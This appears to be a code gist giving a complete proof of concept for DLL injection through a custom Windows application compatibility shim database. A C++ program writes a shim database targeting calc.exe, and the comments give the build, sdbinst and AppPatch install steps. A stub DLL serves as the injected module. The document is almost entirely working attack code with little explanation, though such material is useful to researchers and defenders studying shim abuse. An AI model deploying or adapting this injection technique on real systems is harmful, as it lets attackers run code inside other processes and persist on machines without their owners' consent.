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Last active June 17, 2024 02:12
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DLL Injection via Shim
/*
-------- dllinjshim.cpp --------
> cl /Fe:dllinjshim.exe dllinjshim.cpp
> dllinjshim.exe
> sdbinst moo.sdb
/!\ On Windows 10 there is a new function `SdbIsKnownShimDll` called
in `SdbGetDllPath` which will check the DLL name against the following list:
- "AcGenral.dll"
- "AcLayers.dll"
- "AcRes.dll"
- "AcSpecfc.dll"
- "AcWinRT.dll"
- "acwow64.dll"
- "AcXtrnal.dll"
- "KeyboardFilterShim.dll"
- "MasterShim.dll"
- "depdetct"
- "uacdetct"
- "luadgmgt.dll"
- "luapriv.dll"
- "EMET.dll"
- "EMET64.dll"
- "LogExts.dll"
- "LogShim.dll"
------------------------------------
*/
#include <windows.h>
#include <stdio.h>
#define INJECTED_DLL_NAME L"moo.dll"
#define EXECUTABLE_NAME L"calc.exe"
#define OS_PLATFORM 4 /* 0x1 : 32-bit ; 0x04 : 64-bit */
#define TAGID_NULL 0
#define TAG_TYPE_LIST 0x7000
#define TAG_DATABASE (0x1 | TAG_TYPE_LIST)
#define TAG_LIBRARY (0x2 | TAG_TYPE_LIST)
#define TAG_INEXCLUDE (0x3 | TAG_TYPE_LIST)
#define TAG_SHIM (0x4 | TAG_TYPE_LIST)
#define TAG_EXE (0x7 | TAG_TYPE_LIST)
#define TAG_MATCHING_FILE (0x8 | TAG_TYPE_LIST)
#define TAG_SHIM_REF (0x9 | TAG_TYPE_LIST)
#define TAG_TYPE_DWORD 0x4000
#define TAG_OS_PLATFORM (0x23| TAG_TYPE_DWORD)
#define TAG_TYPE_STRINGREF 0x6000
#define TAG_NAME (0x1 | TAG_TYPE_STRINGREF)
#define TAG_MODULE (0x3 | TAG_TYPE_STRINGREF)
#define TAG_APP_NAME (0x6 | TAG_TYPE_STRINGREF)
#define TAG_DLLFILE (0xA | TAG_TYPE_STRINGREF)
#define TAG_TYPE_BINARY 0x9000
#define TAG_EXE_ID (0x4 | TAG_TYPE_BINARY)
#define TAG_DATABASE_ID (0x7 | TAG_TYPE_BINARY)
#define TAG_TYPE_NULL 0x1000
#define TAG_INCLUDE (0x1 | TAG_TYPE_NULL)
typedef enum _PATH_TYPE {
DOS_PATH,
NT_PATH
} PATH_TYPE;
typedef HANDLE PDB;
typedef DWORD TAG;
typedef DWORD INDEXID;
typedef DWORD TAGID;
typedef struct tagATTRINFO {
TAG tAttrID;
DWORD dwFlags;
union {
ULONGLONG ullAttr;
DWORD dwAttr;
TCHAR *lpAttr;
};
} ATTRINFO, *PATTRINFO;
typedef PDB (WINAPI *SdbCreateDatabasePtr)(LPCWSTR, PATH_TYPE);
typedef VOID (WINAPI *SdbCloseDatabaseWritePtr)(PDB);
typedef TAGID (WINAPI *SdbBeginWriteListTagPtr)(PDB, TAG);
typedef BOOL (WINAPI *SdbEndWriteListTagPtr)(PDB, TAGID);
typedef BOOL (WINAPI *SdbWriteStringTagPtr)(PDB, TAG, LPCWSTR);
typedef BOOL (WINAPI *SdbWriteDWORDTagPtr)(PDB, TAG, DWORD);
typedef BOOL (WINAPI *SdbWriteBinaryTagPtr)(PDB, TAG, PBYTE, DWORD);
typedef BOOL (WINAPI *SdbWriteNULLTagPtr)(PDB, TAG);
typedef struct _APPHELP_API {
SdbCreateDatabasePtr SdbCreateDatabase;
SdbCloseDatabaseWritePtr SdbCloseDatabaseWrite;
SdbBeginWriteListTagPtr SdbBeginWriteListTag;
SdbEndWriteListTagPtr SdbEndWriteListTag;
SdbWriteStringTagPtr SdbWriteStringTag;
SdbWriteDWORDTagPtr SdbWriteDWORDTag;
SdbWriteBinaryTagPtr SdbWriteBinaryTag;
SdbWriteNULLTagPtr SdbWriteNULLTag;
} APPHELP_API, *PAPPHELP_API;
BOOL static LoadAppHelpFunctions(HMODULE hAppHelp, PAPPHELP_API pAppHelp) {
if (!(pAppHelp->SdbBeginWriteListTag = (SdbBeginWriteListTagPtr)GetProcAddress(hAppHelp, "SdbBeginWriteListTag"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbBeginWriteListTag\")\n");
return FALSE;
}
if (!(pAppHelp->SdbCloseDatabaseWrite = (SdbCloseDatabaseWritePtr)GetProcAddress(hAppHelp, "SdbCloseDatabaseWrite"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbCloseDatabaseWrite\")\n");
return FALSE;
}
if (!(pAppHelp->SdbCreateDatabase = (SdbCreateDatabasePtr)GetProcAddress(hAppHelp, "SdbCreateDatabase"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbCreateDatabase\")\n");
return FALSE;
}
if (!(pAppHelp->SdbEndWriteListTag = (SdbEndWriteListTagPtr)GetProcAddress(hAppHelp, "SdbEndWriteListTag"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbEndWriteListTag\")\n");
return FALSE;
}
if (!(pAppHelp->SdbWriteBinaryTag = (SdbWriteBinaryTagPtr)GetProcAddress(hAppHelp, "SdbWriteBinaryTag"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteBinaryTag\")\n");
return FALSE;
}
if (!(pAppHelp->SdbWriteDWORDTag = (SdbWriteDWORDTagPtr)GetProcAddress(hAppHelp, "SdbWriteDWORDTag"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteDWORDTag\")\n");
return FALSE;
}
if (!(pAppHelp->SdbWriteStringTag = (SdbWriteStringTagPtr)GetProcAddress(hAppHelp, "SdbWriteStringTag"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteStringTag\")\n");
return FALSE;
}
if (!(pAppHelp->SdbWriteNULLTag = (SdbWriteNULLTagPtr)GetProcAddress(hAppHelp, "SdbWriteNULLTag"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteNULLTag\")\n");
return FALSE;
}
return TRUE;
}
BOOL static DoStuff(PAPPHELP_API pAppHelp)
{
PDB db = NULL;
TAGID tIdDatabase;
TAGID tIdLibrary;
TAGID tIdShim;
TAGID tIdInexclude;
TAGID tIdExe;
TAGID tIdMatchingFile;
TAGID tIdShimRef;
db = pAppHelp->SdbCreateDatabase(L"moo.sdb", DOS_PATH);
if (db == NULL) {
fprintf(stderr, "[-] SdbCreateDatabase failed : %lu\n", GetLastError());
return FALSE;
}
tIdDatabase = pAppHelp->SdbBeginWriteListTag(db, TAG_DATABASE);
pAppHelp->SdbWriteDWORDTag(db, TAG_OS_PLATFORM, OS_PLATFORM);
pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"moo_Database");
pAppHelp->SdbWriteBinaryTag(db, TAG_DATABASE_ID, "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42", 0x10);
tIdLibrary = pAppHelp->SdbBeginWriteListTag(db, TAG_LIBRARY);
tIdShim = pAppHelp->SdbBeginWriteListTag(db, TAG_SHIM);
pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"moo_Shim");
pAppHelp->SdbWriteStringTag(db, TAG_DLLFILE, INJECTED_DLL_NAME);
tIdInexclude = pAppHelp->SdbBeginWriteListTag(db, TAG_INEXCLUDE);
pAppHelp->SdbWriteNULLTag(db, TAG_INCLUDE);
pAppHelp->SdbWriteStringTag(db, TAG_MODULE, L"*");
pAppHelp->SdbEndWriteListTag(db, tIdInexclude);
pAppHelp->SdbEndWriteListTag(db, tIdShim);
pAppHelp->SdbEndWriteListTag(db, tIdLibrary);
tIdExe = pAppHelp->SdbBeginWriteListTag(db, TAG_EXE);
pAppHelp->SdbWriteStringTag(db, TAG_NAME, EXECUTABLE_NAME);
pAppHelp->SdbWriteStringTag(db, TAG_APP_NAME, L"moo_Apps");
pAppHelp->SdbWriteBinaryTag(db, TAG_EXE_ID, "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41", 0x10);
tIdMatchingFile = pAppHelp->SdbBeginWriteListTag(db, TAG_MATCHING_FILE);
pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"*");
pAppHelp->SdbEndWriteListTag(db, tIdMatchingFile);
tIdShimRef = pAppHelp->SdbBeginWriteListTag(db, TAG_SHIM_REF);
pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"moo_Shim");
pAppHelp->SdbEndWriteListTag(db, tIdShimRef);
pAppHelp->SdbEndWriteListTag(db, tIdExe);
pAppHelp->SdbEndWriteListTag(db, tIdDatabase);
pAppHelp->SdbCloseDatabaseWrite(db);
return TRUE;
}
int main(int argc, char *argv[]) {
APPHELP_API api = {0};
HMODULE hAppHelp = NULL;
hAppHelp = LoadLibraryA("apphelp.dll");
if (hAppHelp == NULL) {
fprintf(stderr, "[-] LoadLibrary failed %lu\n", GetLastError());
return 1;
}
if (LoadAppHelpFunctions(hAppHelp, &api) == FALSE) {
printf("[-] Failed to load apphelp api %lu!\n", GetLastError());
return 1;
}
DoStuff(&api);
return 0;
}
/*
-------- moo.cpp --------
> cl /LD /Fe:moo.dll moo.cpp
> copy moo.dll "C:\Windows\AppPatch\AppPatch64\moo.dll"
-------------------------
*/
#define EXPORT_FUNC extern "C" __declspec(dllexport)
EXPORT_FUNC int GetHookAPIs(PVOID a, PVOID b, PVOID c)
{
return 0x01;
}
EXPORT_FUNC int NotifyShims(PVOID a, PVOID b)
{
return 0x01;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
UNREFERENCED_PARAMETER(hinstDLL);
UNREFERENCED_PARAMETER(lpReserved);
if (fdwReason == DLL_PROCESS_ATTACH) {
return TRUE;
}
return TRUE;
}
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